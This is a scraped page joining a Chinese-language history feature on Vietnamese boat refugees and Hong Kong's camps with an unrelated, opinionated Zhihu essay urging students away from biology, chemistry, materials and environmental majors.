受訪者鄭老師憶述,在蝦廠擔任董事長的父親,於越共進駐後半年突然被捕,前後扣押 10 日後離奇斃命,令鄭家晴天霹靂。當時越共正發動「剷除買辦資本家運動」,先扣押商人,再強迫他們交出財產和銀行賬戶,依據其人脈和往績逐步清算,鄭家的遭遇只是冰山一角。

同時,越共又發行新貨幣解放盾,強制升值 500 倍後,勒令南越人民 4 小時內把南越盾兌清,但每戶最多只可兌換 200 元解放盾,其餘南越盾全數充公。無數人民的畢生積蓄頃刻間化為烏有,有人更因此精神崩潰。其後越共又到處抓人,押往荒蕪的「新經濟區」參與勞動開發,弄到城市內人心惶惶。

諸如此類的經濟政策導致民不聊生,但很多人未必知道,真正觸發成千上萬人投奔怒海的最後一根稻草,其實關乎到中越交惡。

中越交惡促成船民潮?

全越南有 120 萬華人,有的從不涉政治,有的是親台灣國民政府,有的早在南越時代已經效忠共產黨,但無論站在光譜哪一邊,到解放後 3 年,全部人人自危,皆因中越共產兄弟邦鬧翻。隨著越共對中共支持的赤柬開戰,翌年中越邊境又爆發戰爭,所有越南華人在當權者眼中,全部都成了可疑分子。

鄭老師談及這個轉折過程,她說在南越易手後,每家每戶都必須派代表去開會,聽政府講政策、學習馬列思想、看紅色戲劇,起初經常聽到口號說:「中共是我們第一恩人!」、「中共是我們最親愛的朋友!」殊不知,越共親蘇聯派系不久就得勢,親中派隨即受打擊。一夜間,官方突然把中共描繪成大魔頭,出現「中共最壞,最奸險!」之類的口號。

就在打擊資產階級和親中派的夾擊下,不少華人成為清算對象,有能力者紛紛逃亡,只要有黃金或房產便透過蛇頭上繳,取得上船機會,當時有笑話說:「電燈柱會走的話,都會走掉了。」在 1979 至 80 年間,船民潮到了首個高峰期,當中估計多達 70% 是華人背景。

1975 年 4 月 29 日西貢淪陷前夕,美國中情局人員安排美國公民乘坐直升機撤離。 圖片來源:Bettmann/Getty Images

船民淪為海盜與越共的搖錢樹?

起初船民出逃乘坐的漁船,多數只供湄公河三角洲作業用,難以經得起 3 天以上的長途航行,船上衛生環境惡劣,翻船溺斃,饑餓病死,不計其數。聯合國粗略估計,總共有 20 萬至 40 萬船民葬身大海。禍不單行的是,海盜都看準船民身上有貴重財物,特別是泰國海域,幾乎所有受訪船民都遇過海盜搜掠,海盜間又互有默契,搜掠一波一波接踵而來。

後來搭載船民的船隻愈來愈有規模,當中包括有退役大貨船,究竟大貨船從何而來?黃雋慧整理得出的資料,矛頭竟然都指向越共政府。據悉 1978 年有一家「運輸公司」在香港秘密成立,又在台北和澳門先後開設辦公室,幕後既有東南亞人蛇集團成員,據稱亦有「越南官方」派來的代表。公司以「東南亞貨運」為幌子,一個月內收購至少 6 艘退役大貨船,最終全部用來搭載船民。

在越南方面,改名為胡志明市的南越舊都西貢,開始有機構單位招攬華人自費出國,登記報名及繳付訂金,便可獲告知出發時間,出海時有警衛護送出公海。根據作者取得資料,其中要登上退役貨船「海鴻號(Hai Hong)」,每位成人費用為 16 兩黃金,越南政府取 10 兩、人蛇集團取 6 兩。

但這種由國家輸出的船民潮不可能瞞過國際社會。1979 年 7 月,越南政府在聯合國會議上受多國譴責,越南政府固然不承認借船民潮斂財,但輸出船民的任務就從此下放到省級及市級單位,以「出國觀光團」作為名目。

越共之所以與人蛇集團合作,黃雋慧分析相信與越共先後用兵赤柬和中共,導致國庫愈來愈空虛有關。與人蛇集團攤分利潤,反而為國家帶來可觀的收入來源,又可順道趕走資產階級,但時至今日,越共仍然矢口否認有主動輸出船民。

1975 年 4 月 30 日,越共進駐南越首都西貢的情景。 圖片來源:AFP/Getty Images

不漏洞拉:你不知道的越南船民史(下)

A+A-
1982 年獲國際醫療組織 Médecins du Monde 救起的越南船民。 圖片來源:Michel Setboum/Getty Images

如今,南中國海是各國劍拔弩張你爭我奪的戰略航道;30 年前,這裡卻是成千上萬越南船民葬身的一片怒海。當時僥倖生還的船民除了抵達香港,更多是登陸馬來西亞,其次還有台灣、泰國、菲律賓,甚至澳洲和日本。究竟這一浪接一浪的船民潮,最終是如何退卻?危機如何落幕?船民的最後歸宿在哪裡?

作家黃雋慧在著作「不漏洞拉:越南船民的故事」中整理得出,當時船民的逃難航線可分 3 條:第一是由南越向西南航行,不出 3 天可抵達馬來西亞、印尼或泰國,但鄰近海域海盜非常猖獗;第二是北行線,可前往香港、澳門、台灣甚至日本,但船民中較多來自北越;第三是東行線,以菲律賓為目的地,但群島多,易觸礁,成功登陸只屬少數。除此以外,紀錄中還有 56 艘船隻成功登陸澳洲北岸尋求庇護。

船民問題是如何登上國際頭版?

1979 年,搭載越南船民的「天運號」貨船在香港南丫島擱淺。 圖片來源:Tekn/Wikimedia Commons

雖然船民潮源源不斷,但真正令問題登上國際新聞頭版,卻要數 1978 年底的「海鴻號(Hai Hong)」事件。有 30 年船齡的海鴻號,於 10 月下旬從越南頭頓港接載超過 2,000 船民,遠超船體負荷,途中又遇到強颱風麗妲(Rita)吹襲,導致貨船破爛不堪,11 月 9 日輾轉靠近馬來西亞時,引擎再無法運作。

馬來西亞政府在幾年間疲於應付船民問題,對突如其來的 2,000 多名船民立場強硬,堅稱他們不是難民,又派出海軍拒絕讓他們登岸。僵持一個星期,船上糧食供水快將用盡,船上 2,000 多人命懸一線,事件終於吸引國際傳媒爭相報道。最後法國、加拿大和美國等宣佈,願意接收海鴻號船民後,大馬政府才讓船民登岸,危機方迎刃而解。

諸如此類的人道危機後來仍不時上演,「匯豐號(Huey Fong)」和「天運號(Skyluck)」貨船事件就先後困擾香港政府,促使國際社會採取行動。1979 年 9 月的聯合國會議上,多國擬定出第一收容國/港政策,大馬和香港等地為船民提供臨時庇護所,聯合國難民署承擔船民上岸開支,歐美西方國家則負責面試接收這些難民。

期間馬來西亞成了最大臨時收容國,在 1975 至 95 年間收容 25 萬人,香港則收容達 19 萬人,為第二大收容地區。最終共 75 萬名船民成功獲西方國家接收,美國接收其中 42 萬人,其次是澳洲和加拿大,分別接收逾 10 萬人。

難民營內爆發的越戰

1994 年白石難民營發生騷動後,部分難民被押上警車轉往其他難民營安置。 圖片來源:THOMAS CHENG/AFP/Getty Images

說到越南船民,不少香港人或會想起船民騷動,但難民營其實曾有過相對和平的時期。香港在 1975 年 5 月面對第一波具規模的船民潮,當時丹麥貨船 Calara Maersk 海上救起 3,600 名船民後送到香港,政府陸續在各地開設難民營對應。

難民營起初都是開放式,船民可以到處活動、找工作,有條件還可以租地方住,甚至開設銀行戶口,原則上還可以入讀學校,但學費高昂,一般都負擔不來。移居瑞典的受訪者阮三武憶述,當時還是青少年的他,為了離開烏煙瘴氣的難民營,與父親外出租房,一度融入香港社會,在球場上與香港人打成一片,學得一口流利廣東話,他亦見證過有越南人學會了賭馬。

但好景不常,難民營內始終是三教九流,難民之間背景迥異導致時有衝突發生,南越和北越船民的矛盾愈趨尖銳。1982 年 4 月 30 日,啟德難民營內的北越人,按照習慣慶祝越南統一,但這卻是南越人眼中亡國之日,雙方爆發暴亂,互有死傷,促使香港政府銳意實施禁閉營政策,把南北越難民分開安置。

時至 1980 年代末期,歐美各國開始不願再接收難民,導致香港及其他東南亞難民營人滿為患,達到飽和狀態。來自香港本土的反船民聲音亦愈來愈大,有議員和居民絕食抗議增建難民營,更有大遊行要求取消第一收容港政策。與此同時,聯合國亦決定要為船民潮畫上句號。

不留痕跡的越南船民史

自 1988 年開始,港英政府實施甄別政策,船民上岸後不再自動取得難民身份,只有被確認受到政治迫害的政治難民,方有資格在香港等候收容,假如被判定為經濟移民,將會遭到遣返。從當時開始,以「不漏洞拉」為開場白的越南語廣播變得街知巷聞,這四個音字解作「從今以後」,內容正是解釋這項甄別政策:

從今以後,香港已對越南船民實施新政策。從此,凡因經濟問題以船民身份設法進入香港者,將被視為非法入境。非法入境者不可能移居第三國,他們將被監禁並等待遣返回越南。

阮三武的妻子正是在甄別政策後抵港,她憶述當時上岸後,即被拘留等候甄別,職員會按照履歷審核資格,船民則要想方設法證明自己是政治難民。由於阮太太一家是天主教徒,父母又受過專上教育,確實有受政治迫害的風險,因此通過了甄別,但同船的其他人卻被判定為經濟移民,全數要等候遣返。

雖然甄別政策原意是要阻嚇船民湧港,但很多船民早已經置生死於度外,在瀕臨絕望之際寧可以騷動反抗遣返,過程時有死傷,甚至有脅持職員當人質的事件,要警方出動武力鎮壓。船民問題發展至此,船民形象已可謂一落千丈。

隨著越南政府在 80 年代末經濟改革,船民潮開始退卻,加上中國施壓要港英政府在主權移交前解決船民問題,同樣加快歷史告一段落。1998 年,特區政府正式取消第一收容港政策,屯門望后石難民營在 2000 年正式關閉,標誌著船民問題告終。當時有 1,400 多名船民沒有國家願意接收,仍然滯留香港,最終都獲安排逐步融入社會,但他們為重過新生,大部分對過去絕口不提,從此隱沒在人群當中。

擾攘 20 多年的越南船民潮,曾不時登上香港報紙頭版,但事過境遷,沒有人為此立碑紀念,昔日的難民營陸續拆卸重建,或改頭換面,留下的就似乎只有香港人戲謔的一句「不漏洞拉」。終究這段歷史對香港有何意義?這仍然是有待研究的香港本土歷史課題。

2000 年望后石難民營關閉,鎮守營內的啹喀兵列隊步出營地。 圖片來源:路透社

我的劝退之总结篇

$
0
0

我的劝退之总结篇

3,568 人赞了该文章

序: 我即是劝退,生化灰飞烟灭,材料在我脚下燃烧。终于,我要在这颗星球上完成我的转行,因为我就是刀锋之王。


从2015年开始,我在知乎上陆陆续续写了一些劝退的文章。也遇到一群志同道合的朋友。以后不想再谈劝退的话题了,这些年的所想所思,以及想传递给年轻人的信息就留在这篇文章里。

劝退的对象:生化材环,即生物、化学、材料、环境及其相近学科,包括微电子里做纳米材料、纳米器件的也算。这些专业可谓天坑专业。

一、我在劝退专业里的故事

我刚上大学那会就跟下图一样,但谁也逃不脱“真香定律”。

从选错专业的那天起,人生就变成一场大逃杀。我本科是学材料的,金属材料加工,简称铸锻焊,其实这个专业就是打铁的,不是调侃,是真打铁。我们专业在全国号称top3,刚进学校觉得自己屌屌的。可是第一次去实习就把我吓哭了。在锻压车间,巨大的气锤从天儿降,冲击在红透的金属上,发出100分贝的噪音,人和人交流基本靠吼,我在里面呆了半小时就觉得自己都快失聪了。在铸造车间,空气中弥漫着三乙胺的恶臭,金属被融化成红色的岩浆,工人穿着肮脏的衣服,就像魔戒里的末日火山,我宛如看到了末日的景象。实习之后,估计是吸入太多粉尘,一回学校就得了肺炎,在校医院躺了一个月,从此下定决心,逃出这个行业。

我博士是学微电子的,转到微电子就是看中超净间里超级干净的环境,可是很快我就后悔了。微电子行业,特别是做微电子制造工艺的,每天要接触大量的剧毒物质,包含且不限于:食人鱼溶液(硫酸+双氧水),王水(硝酸+盐酸),氢氟酸,氰化钾,六甲基乙硅氮烷(HMDS)及各种砷化物。HMDS会导致不孕不育,氢氟酸接触眼睛会导致角膜穿孔,接触肢体会导致组织坏死,轻则截肢,重则致命。我在超净间做实验期间都是如履薄冰,生怕一点疏忽就见不到明天的太阳了。做微电子工艺后,我的皮肤就会经常莫名其妙的溃烂,中医西医都去看过,找不到原因,我怕了,赶紧逃出这个行业。

学材料,最大的好处,莫过于使我痛苦,明白了每个人都有各自的命运。

那我又是如何走到这一步的呢?

下面我先谈谈劝退专业差的两个表象

  1. 劝退专业实验环境差,工作环境差,安全隐患大,安全事故多。
  2. 劝退专业就业形势差,工作难找,待遇低,位置偏远。

二、劝退专业的安全事故与安全隐患

不到劝退专业你不会懂,什么叫命运的沉重,什么叫人生的绝路。

由于各高校实验室和设备长期老化,防护措施匮乏,管理不到位,加之没钱改善。全国的生物材料化学化工环境专业每年都要出几个重大大事故,不是爆炸死人,就是炸伤手、炸瞎眼。我汇总了从2006年到2018年劝退专业的安全是事故。

当你发现一只蟑螂的时候,说明你的房子里已经有30只蟑螂了。根据海因里希法则,当你看到一起安全事故,你就应该明白,背后应至少29起轻微事故,300起未遂先兆,1000个潜在的安全隐患!更何况,连续十三年,年年都有安全事故,你应该明白这背后的安全隐患有多大!相比,理论学科(数学、统计)、信息学科(计算机、软件)、文科、商科哪里有这么危险。久在河边走,哪里能不湿鞋。

就算你念书期间侥幸没有遇上安全事故,但人的身体也不是那么强大的,当你毒气吸多了,你是会生病的!就像我前面提到的,我读博到中后期,身体已经完全崩溃了,就是因为接触了大多有毒的化学物质。很多人并不了解劝退学科要接触多少有害物质。

我特地整理了一份清单:

相信我,只要你在天坑专业,上面提到的这些危害总有一款你会遇到!遇到了怎么办?身体是你的,生病了也是你的,身体垮了就完了。没有人会同情你的。导师自然不会管,学校更不会管,谁让你是倒霉蛋呢?就像我们这边矿山里的工人因为矿里粉尘吸入太多,很多人会得矽肺病,矽肺病是绝症,治不好的,没有人会管他们,最后一个个在绝望中死去。

我希望遇到这样命运的人不是你。

三、劝退专业的就业真相

1.传统材料行业

高中生常见的一个误区是“以前上高中的时候,因为看过一些关于飞机发动机制造的纪录片,觉得搞材料的人太牛逼了,所以非常向往材料学专业”。

来,带你看看中国航空发动机四巨头之一的贵州黎阳航空发动机厂的情况:

先看看评价:

再看看待遇:

再来看看中国航空发动机老大沈阳黎明发动机厂的情况:

是的,你发现了,这就是材料行业的就业真相。别看国家把飞机发动机说的多么高大上,材料是核心中的核心。但实际从业人员的待遇就是三五千。各个地区待遇可能略有差异,最多七八千,能够过万的很少。

2.新型材料行业

以石墨烯材料为例,目前国内产业化发展情况堪忧。行业主体可以分为两类。

2.1 偏向学术性单位

这部分单位依托学术大佬的业内影响力,设立研究院(所),或开设公司。基本无规模产品出产。产出仍然是学术论文。单位的人员基本就是学校内的班子,类似于十几年前的校(院)办企业。这些单位招聘的人一般为徒子徒孙,普通人难以融入。

2.2 偏向忽悠型单位

从智联招聘等网站,输入石墨烯相关职位,可以搜出一系列小企业。这些企业研发石墨烯发热材料,纺织材料,发热纤维等。通过收取智商税,赚得企业的第一桶金,然后投资房地产或金融,以求得进一步发展。

四、劝退专业是全世界共有的问题

那劝退学科是不是中国特有的?

不!如果你出国,你就会发现,劝退学科几乎没有本国人在学,新加坡、美国、英国等一票发达国家,很少本国人会学生物、材料、化学、环境。最优秀的学生都会去学金融、法律、医学。

来自美国的劝退:

有人说,这是印度裔美国人写的,没有说服力。但读者可以去调查一下,在美国的化学系、环境系、材料系是不是中国人、印度人居多,而美国白人学的少。本国人学的少本身就很能说明问题了。

来自日本的劝退:

摘抄一段杨微粒:虚假和绝望的生命科学

21世紀はバイオの世紀?
大学院生の数は1991年から2000年までに倍増したが、教員は増えない。大学院博士課程の大学院生は、まともな教育を受けず、単なる労働力として酷使されている。ある教授は、「大学院生にアタマはいらない」と言い放った。ある教授は、「大学院生はただでつかえる労働力」と断言した。
21世纪是生物的世纪?
日本研究生的数目从1991年到2000年翻了一番,但是教员数量没有增长。(生物专业的)研究生没有接收到合适的教育,只是作为苦力被压榨。一位教授放言:“研究生不需要自己动脑。”另一位教授则断定:“研究生不过是免费使用的劳动力。”

可见,劝退专业是全世界普遍的问题,而不只是中国特有的问题。不过在美国劝退学科的待遇、认可度好于中国。因为美国化工、材料、生物医药体系更成熟,金融投资更成熟。“忽悠”方向更不容易得到金融或政策扶持。传统的石化、分析、医药行业仍然是美国草根家庭学生寻求人生发展的重要平台。

五、劝退背后的深层次原因

我觉得是合力,这个合力分解之后,共有以下分量:

1. 大学扩招,致使劝退学科毕业生过剩。对比:80、90年代大学扩招之前,劝退学科人才紧缺,到各个单位都是香馍馍。毕业生过剩的根源在于不是基于市场需求的招生模式,一所高校开设专业,往往并不是基于毕业生的就业情况。而是更多的考虑该专业好不好发论文,能不能提高学校的排名和给学校带来更多科研经费,如材料专业在这次双一流中独拔头筹,这并不说明市场需要更多的材料人才。而是因为材料专业好发高影响因子论文。大力发展这个专业有利于学校科研排名的提高。大量学校的生化材环专业被评为一流专业,将来必定有一波扩张,扩招大量学生,进一步学历贬值。

2. 产业升级失败,劝退学科所属产业产业升级失败,只能正常中低档产品,利润率较低,致使专业人员待遇较差。生化材环行业滞胀,发展缓慢,同时已经挤压大量从业人员,就业环境和薪酬待遇将进一步恶化。对比:台湾有龙头企业台积电,拿走全球芯片制造50%以上的利润,所以材料专业在台湾是热门专业。

3. 投入产出比低,劝退学科课业压力重,实验压力重,工作环境危险,收益却不高。对比:同样收益一般的文科专业,因为课业轻松环境好,并没有出现大规模劝退现象。文科专业课业相对轻松,你可以拥有一个正常的青春,去吃去喝去爱,你找你最喜欢的男神聊天,去憧憬未来的生活。你参加活动,去丰富生活。而学生物、化学、材料、环境,课业压力大,课程多,实验多,只会压得你喘不过气来。还会有导师打着“科研提高”的名义诱导你去他的“黑砖窑”搬砖,来看看黑砖窑的考勤吧:

4. 学科导向问题。既然产业升级失败,学科发展就应该向着促成产业升级的方向发展。可是劝退学科的发展导向却是向着发论文看齐。南辕北辙。使得劝退学科的产业升级遥遥无期。对于生化材环,整个科研圈已经完全闭环。只要某大佬说石墨烯有前途,大家就会跟风去做石墨烯;过两天说二维材料改变世界,大家就都去跟风做二维材料。而这个游戏可以永远玩下去,根本不用管外界怎么看。

我们来分析下这个闭环是如何形成的:

  • 资金源头:国家说科学技术是第一正常力,所以必然每年有一部分财政被划归科研,并且国家重视,科研经费的比例不断提高。
  • 经费分配:按照论文数量,论文影响因子,评价科研成果和科研人员的能力,因为可以打着“科学研究就是目的就不是为了有用,而是为了增长人类的知识”,完全不用管工业界怎么看,完全不用看实用价值。所以核心指标看论文数量和影响因子。
  • 论文和影响因子:学术圈内说是同行审议,但就是小圈子内的相互捧臭脚。你审我的,我审你的,大家都轻松发表。甚至有大佬自建期刊,自己的论文还能不过吗?这样论文数量就上去了。此外,疯狂自引➕疯狂互引,三页的论文恨不得写40-50个参考文献,这样影响因子就上去了。

只要科研圈子从头到尾都默认这个游戏规则:疯狂灌水,疯狂互引-> 高论文数量,高影响因子 -> “高超”的科研水平 -> 更有资格拿到更多的科研经费 -> 更好的实验条件->更疯狂灌水,更高的影响因子-> 无限循环

明白了这个套路,你就明白为啥生化材环的纳米期刊的影响因子都是十几到几十,而传统工科如芯片领域,顶级刊物的影响因子也不过3-4。难道纳米的科研成果就真的就比芯片研究厉害几倍到几十倍?影响力大几倍甚至几十倍?

对于圈内人,这个游戏是可以永远玩下去的,只是苦了硕士博士,发现自己搞的东西,出去根本没人认可。

5. 学科内斗问题。占据额外资源的学科分支,并未产生额外的就业机会。就像类似DOTA游戏,吃资源的大哥,理应给出更多的输出伤害。或者类似于足球场上的前锋,大量机会都给你,理应创造更多进球。化学整体行业亦是如此。经费就那么多,好杂志就这么几个。一个领域占据了额外资源,另一个领域就必须让渡资源。

可惜,目前劝退行业学术圈过热的领域,并未创造出更多的就业机会。在热领域的毕业生,还需要抢占其它传统行业的职位。生化材环传统行业的岗位,如分析检测、医药研发等,职位基本保持稳定。可是热门“新型”专业人才涌入,加剧竞争,使得这些行业待遇增长持平或缓慢于通胀。

这样一来,劝退学科内部就充满了恶性竞争。学科内为争夺有限资源而内斗,却没有开疆拓土的能力,最后结果就是整个行业的萎缩。

六、劝退学科深层次的困境

我最近一直在思考,大家都认为21世纪非常有前途的材料/生物/化学/环境专业为什么这么坑?

1. 复杂体系

材料和生物化学一样 研究对象是复杂体系 一个氢原子的波函数还是可以有解析解,负氢离子以上就要涉及多体问题,引入Hartree-Fock方法,DFT泛函密度等近似了,从原子第一性算起算出一个铁碳相图来?暂时还没办法!

2. 经验公式

没办法从第一性来建模分析问题,那怎么办?材料人就只好依靠经验公式,联系材料强度和晶粒大小的霍尔佩奇关系就是这样的经验公式,材料学里大量这样的经验公式,怎么总结经验公式呢?一个字,试!try and error!

3. 穷举的研究方法

因为从根本原理上无从指导,穷举实验成了大多数材料研究的主要研究方法,列一个参数矩阵就开始grid-search了。原理上和炒菜很像,就是味道淡了加盐,咸了加水,总能测出一些规律来,然后就可以发paper灌水了

4. 低效的产出

因为大家都在瞎试,沿着大概可能的方法试了几十种材料,最后都不一定能用。我有一个夸张的说法,一万种材料里最后能实用产业化的恐怕只有一两种。但研发这一万种材料需要大量的经费,耗材和仪器设备,但最后的产出的呢?不要再用大研小产做幌子,大家都知道投入产出比很低。如果一个行业的产生的实际价值很低,你怎么期待其从业人员有很高的待遇呢?

5. 材料的春天

材料的春天在那里?小百合有春天,材料学可能也有春天。我觉得材料的春天在于计算机科学的大发展,人类有足够的算力从能第一性原理计算预测材料的性质,这样大量的实验可以依靠计算探索,帮助人类锁定少量的候选材料,再去实验。投入很少,但是产出很高,那时候材料的春天就来了~

七、劝退学科的教育问题

此外,劝退学科的教育也有相当大的问题。欧阳颀院士曾直言:“21世纪是生物的世纪,但千万别进生物系。很多大学的生物系不是在做education,而是在做de-education。用现在的方式培养出来的生物学家来推动21世纪的科技革命,那差得太远。”

专访合成生物学家欧阳颀院士:21世纪是生物的世纪,但千万别进生物系-观察-生物探索​www.biodiscover.com图标来我们看看,材料专业的专业课考试是什么样子的?

看到材料的考试题就生气。名词解释什么鬼?论述题什么鬼?写出表达式说明意义什么鬼?不用推导,背个公式就开始扯淡。所以伪材料搞科研是不如物理的,因为基础太弱,往往就知道个名词,深层次的推导理解数学结构完全不懂。

材料的课程基本就是工科里的文科,大三大四各种考试全靠背,居然还有什么名词解释题和简述题,但凡深刻一点的原理都不会学,所以学生普遍数理基础差,搞科研只会炒菜,科研被物理系学生全面吊打。

劝退学科教育还有一个问题。劝退学科本科专业大部分时间花在实验报告的书写上。您没有看错,不是做实验、听课和做作业,而是写实验报告。确实,教育的指导思想需要更新。而计算机学科的本科内容,加上实习和实践,足以支撑学生们找到一份待遇尚可的工作。计算机大量学生本科有机会出去实习,而劝退学科很少有听说学生有机会去业界实习。很多人到了大四找工作,才了解到行业的真实情况,悔之晚矣。

八、新材料与纳米的真相

有人会说,国家不是在大力发展新材料和纳米材料吗?你怎么能说学材料没前途呢?

我来告诉你真相吧!本科就跟着老师灌过水,材料灌水就跟炒菜一样,师兄做过什么,拿来换个成分,所有表征再做一套,又是一篇paper影响因子还很高。

后来读博来了电子系,看做IC设计的,从设计到流片到测试,忙活几年,真枪实干的做出芯片来,才能发paper,有一些好的工作,过不了几年就能出现在手机产品中,实实在在创造价值 然鹅IC设计最好的杂志solid state circuit才有4.1的影响因子。

看做微电子器件的,摩尔定律之所以能持续几十年,是器件领域不断努力的功劳 把晶体管从几微米一直做到10nm,实实在在推进硬件更高更快更强。然鹅器件领域最好的杂志electron device letter影响因子只有3.0。

对于搞研究,你转什么都行,什么好拿funding转什么,什么好发paper转什么,反正什么热就做什么,肯定没问题。

但也别太当真,你的AM,nano letter工业界并不关心。只发paper的不太会懂,为什么真正产业化的材料就哪几种。10年前的氧化锌,5年前的石墨烯,如今的二维材料,那一个不叫嚣着要取代硅成为电子产业的新霸主。结果呢?还在用硅。

实验室里的器件拿出来,会被甲方吊打成渣。因为是在实际使用环境中,对器件的方方面面的指标都非常严苛。实验室里,在一些极端条件下取得的和在某些方面具有突出性质的材料,能否全面的符合使用条件,这是很难的。这也是为什么大浪淘沙几十年,真正留下的,反复使用的就那几种材料。

我以前写过,为什么锗是第一种被发现的半导体,而如今的 CPU都是硅做的。

为什么 CPU 只用硅做,而不用能耗更低的锗做?​www.zhihu.com图标其实锗只是band-gap小了一丁点,导致高温稳定性不足,加上没有高质量氧化物的致命一击,最终退出了历史的舞台。

学术界自娱自乐惯了,有些时候应该看看业界的态度,英特尔07年就请了一批做石墨烯的人去开发石墨烯晶体管,结果没出两年,这些人全被赶出来了,你有见现在英特尔台积电大举投资石墨烯的?倒是中国炒作的都快飞起来了。在中国炒作石墨烯的时候,人家比利时欧洲微电子中心IMEC,攻克了三五族材料和CMOS工艺异质集成的问题,随后英特尔台积电三星大举投入,相信在不久的将来,我们就能在7nm,5nm工艺上看到三五族材料的身影。

真正做器件的关心的是路线图,关注ITRS,是制程进展,是器件结构,是漏电,是阈值电压 ,是驱动电压,是能耗,是缺陷,是SPICE,明白自己做的东西要给设计端什么样的参数,明白工艺兼容与良率。

有些事情到最后真是价值观的问题了,你是想放个大卫星,搞个大新闻,还是想实实在在的创造价值,对这个问题的选择,真的会决定一生。

现在越来越多的纳米和材料期刊挂着“芯片”的狗头,卖着纳米和材料的羊肉。疯狂挤压真正芯片人的生存空间。我听说不少做正统芯片的老师,受不了高校科研指标的考核,都去搞纳米材料了,真是莫大的损失。

我就告诉你们,中国的纳米和材料早就赶美朝英了。事实上,即使是06年,中国作者发表的材料科学领域论文数量就已经大大超过了美国。而06年-15年间,这一数字又增长了将近两倍。

早在2006年我国研究者发表的材料科学论文就早已高于美国

而实际上,芯片领域真正的情况是什么呢?
在2018年ISSCC(纯血正统芯片设计顶会)已接受的202篇论文数量中,来自中国内地的数量为5篇,占比约2.5%。而内地+澳门+香港的论文总数是14篇。其中澳门7篇。中国内地浩浩荡荡960万平方公里的土地、13亿人口,在芯片设计领域顶会的论文数量还不及小小的澳门(当然澳门有国家重点实验室)。难道你震惊吗?不该反思吗?

ISSCC 2018共录用了202篇论文,来自十八个国家的一流大学和研究机构及顶尖集成电路企业,其中录用二篇或以上的企业机构有IBM、三星、Intel、联发科(MediaTek)、台积电(TSMC)、亚德诺半导体( Analog Devices)、博通(Broadcom)、 韩国海力士(SK hynix)、Sony, 德州仪器(TI), 高通(Qualcomm)、东芝(Toshiba)、微软等;大学有美国密西根大学、美国哥伦比亚大学、荷兰代尔夫特大学、韩国科学技术院(KAIST)、澳门大学、美国乔治亚理工学院、韩国浦项大学、加州大学圣地亚哥分校、香港科技大学、美国麻省理工、斯坦福大学、加州大学柏克莱、奥勒冈州州立大学、加州理工学院、卡内基梅隆大学、康奈尔大学、复旦大学等等。

而来自中国内地的参与者屈指可数。醒醒吧,这才是中国芯片的真实情况!!!

知乎上为啥会有劝退党?就是因为我们太清楚这群“挂羊头卖狗肉”的“纳米材料”科研是在搞什么。我国繁荣的纳米和材料研究背后并没有支撑起相应体量的工业应用。在这样的情况下,大学发表的纳米和材料论文和培养的人才越多,就业的形势就越严峻,学生就业的待遇也就越差。

造成这一现象的直接原因是“重科研”“轻应用”的学科发展思路。在多发论文,发好论文的指挥棒下,我国科研人员更热衷于研究新奇的纳米材料,摘取这些“低垂的果实”,而这些成果可能几十年内都难以进行工业应用。而在国际学术期刊主编的口味影响下,中国科研人员热心于研究国外的学术热点。

相反研究传统的国内急需的材料问题、芯片问题,得不到有效投入,步履维艰!!

九、劝退专业的忽悠与话术

  1. 卖情怀

我依然记得我们老师慷慨激昂地说:

“建造航母需要使用低磁钢、无磁钢,以避免磁性探测和磁性水雷的攻击,但钢铁再怎么做也无法完全绝磁,所以需要大力发展大块非晶合金!为祖国的航母事业添砖加瓦!新一代高强韧性非晶的研发正等待你们的加入,这是祖国和人们翘首以待的高新科技!”

然后我就去非晶课题组搬了一年砖,七年过去了,我查了一下还是没有任何应用。

老师无视航母会定期消磁、大块非晶合金成本高,可加工性差等事实,非常善于用情怀忽悠知识水平还较低的低年级学生。

2. 应基二象性

材料科研的应基二象性:当你问材料老师,你的科研有什么工业应用?他会说我们搞得是基础研究;你问他,那你的研究有什么物理意义?他会说我们搞得是应用研究。

思考为什么老师要这么忽悠呢?因为他/她也不具备原始创新力,只能跟着学术大佬的步伐,水文章以自保。一方面,小人物不水文章活不下去;另一方面,学术大佬不坚定某种材料、某个领域是很牛很重要的,面子上也挂不住,可能带来崩盘。某个领域也许是真的有用,但最坏的情况是,即使是假的有用,也没有人说破。你说破了,就会成为众矢之的。

曾经听过一个报告,报告人做电化学传感器。其中,作者发现多层石墨比单层石墨烯作为载体负载他设计的传感器时,性能更好。结果被审稿人抓住不放,认为实验做得可能有问题。拖了一年,一直在补数据,结果还是多层石墨好,因为单层石墨烯在实验中经常破,破了就不导电了啊,哪里来的传感信号呢?审稿人就是不信。结果这报告人怒了,直接打电话给主编,聊了一个小时。他直接问主编,是不是所有石墨烯表现不如石墨的文章你们都不收?主编想想,也对嚯。第二天文章就接收了。

有没有很像《皇帝的新衣》?

十、劝退误区解答

Q: 家长都说生物/化学/材料/环境越老越吃香

A:

“生物/化学/材料/环境越老越吃香”是一个历史阶段性的观点,本身就有历史的局限性。

我猜测大多能得出这一结论的人,都基于对过去几十年的观察。过去三十年,是中国极速发展的,那时候中国一无所有,百业待兴,所有行业都有极大的缺口。以高校为例,上世纪八十年代,刚刚恢复高考,高校师资青黄不接,极为缺人,很多人本科毕业就能留校,然后在职读硕士博士,老教授们往往大二三十岁,纷纷退休,职业发展也一片坦途,很多人四十岁就评上教授,伴随着中国经济的高速发展,科研投入加大,这些人自然而然很容易拿到大量经费,戴上帽子。所以你看到的是学化学,毕业留校,评上教授,经费拿到手软,走上人生巅峰,从而得出化学越老越吃香的结论。

那个时代,除了学计算机是“青春饭”,恐怕学什么都越老越吃香,学机械越老越吃香,学土木越老越吃香。

但你要看到现状,中国的存量已经巨大,回复高考四十年,培养的毕业生不计其数,劝退行业疯狂饱和,并且发展缓慢,甚至衰退。你还让人怎么相信“生物/化学/材料/环境越老越吃香”?

Q:不是说「21 世纪是生物的世纪」?

A:

毕竟离21世纪结束还有80年,谁都说不准以后是不是生物的世纪。

但我想从投资的角度来看这个问题。一个人的职业生涯也就30年,你希望的是这30年的职业生涯里人生价值得到体现。 你如果2010年重仓生物行业,结果2050年生物行业才爆发,有用吗?你重仓计算机朋友,伴随着计算机行业的暴涨,早就赚得钵满盆满,实现了人生价值和自己目标。而你的职业生涯30年,伴随着生物行业的熊市,什么都没赚到,退休了生物行业爆发了,有用吗?你的人生都定型了。

只说一个行业会暴涨,但不谈入场时机,都是耍流氓。

Q:为什么生化环材专业社会需求这么低的情况下,国家却在大力发展这些学科?

A:

  1. 关系国计民生,具有战略地位的生化材。
  2. 学术界研究的生化材。
  3. 双一流发展的生化材。

1和2交集不大,夹角很大至少超过85度。

国家想发展的是1,其实学校疯狂扩招的是2。

